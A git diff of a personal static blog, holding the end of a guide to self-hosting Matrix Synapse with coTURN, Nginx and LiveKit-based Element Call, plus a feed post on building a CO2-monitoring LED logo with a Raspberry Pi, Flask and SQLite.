    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    +
    ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    +
    Access-Control-Allow-Origin cannot contain more than one origin.
    +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
    +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
    +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
    +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
    +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
    +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
    +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
    +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
    +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
    +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
    +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
    +=yHZZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md.asc
    +gpg --verify matrix_setup.md.asc matrix_setup.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/self-hosting/page/1/index.html b/public-clearnet/tags/self-hosting/page/1/index.html new file mode 100644 index 0000000..bfca583 --- /dev/null +++ b/public-clearnet/tags/self-hosting/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/self-hosting/ + \ No newline at end of file diff --git a/public-clearnet/tags/soldering/index.html b/public-clearnet/tags/soldering/index.html new file mode 100644 index 0000000..416567f --- /dev/null +++ b/public-clearnet/tags/soldering/index.html @@ -0,0 +1,13 @@ +Soldering | AlipourIm journeys +
    Six looks of the INET LED logo

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    October 17, 2025 · 17 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/soldering/index.xml b/public-clearnet/tags/soldering/index.xml new file mode 100644 index 0000000..b7b6c0b --- /dev/null +++ b/public-clearnet/tags/soldering/index.xml @@ -0,0 +1,400 @@ +Soldering on AlipourIm journeyshttps://blog.alipour.eu/tags/soldering/Recent content in Soldering on AlipourIm journeysHugo -- 0.146.0enFri, 17 Oct 2025 00:00:00 +0000INET Logo That Breathes — From CAD to LEDs to a Calm Little Serverhttps://blog.alipour.eu/posts/inet_logo/Fri, 17 Oct 2025 00:00:00 +0000https://blog.alipour.eu/posts/inet_logo/<blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
